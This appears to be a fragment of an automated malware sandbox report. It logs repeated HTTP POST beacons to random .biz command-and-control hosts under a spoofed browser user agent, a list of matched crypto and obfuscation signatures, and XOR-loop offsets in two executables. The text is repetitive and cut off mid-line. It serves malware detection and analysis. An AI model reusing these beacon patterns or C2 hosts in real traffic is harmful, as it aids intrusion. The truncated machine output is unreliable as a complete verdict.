HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /jnkluegimqpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/iqabmrerpvy" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /iqabmrerpvy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/piyuaqnwgrufdfb" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "dlynankz" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /piyuaqnwgrufdfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "dlynankz" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /foaa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /iqacarhxjuaq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /xcdhyxqxurnkqb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842"33:T7a0,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains asymmetric cryptographic functions (API string) Matched sigs: Contains ability to encrypt/decrypt data using TripleDES Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Imports crypto-related APIs Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - RC4 Encryption Matched sigs: YARA signature match – cryptographic algorithms34:T126c1,Found XOR loop in file "chrmstp.exe" at offset 1876996; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 3822664; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4205264; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4275044; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4386508; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4415232; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4425664; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4441516; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4463092; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4617373; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4628469; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4640261; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4651971; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4660409; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4670015; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4720341; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 4890167; code bytes = 30d0 Found XOR loop in file "chrmstp.exe" at offset 728127; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 1897790; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 1898364; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 1899206; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 1900839; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 2366932; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 2452360; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 2590623; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 3606413; code bytes = 33c1 Found XOR loop in file "chrmstp.exe" at offset 667831; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 667947; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 685300; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 1027020; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 2976236; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3321302; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3769859; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3813873; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3813929; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3816944; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3822945; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 3993010; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4206868; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4212389; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4212393; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4212397; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4397320; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4423624; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443905; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443909; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443917; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443921; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443929; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443933; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4443941; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4491955; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4949221; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4952015; code bytes = 8030 Found XOR loop in file "chrmstp.exe" at offset 4952262; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 1157964; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 1194976; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 1487220; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2164495; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2170153; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2171993; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2174983; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2192535; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2201473; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2204415; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2210575; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2212773; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2216581; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2218461; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2311536; code bytes = 30d0 Found XOR loop in file 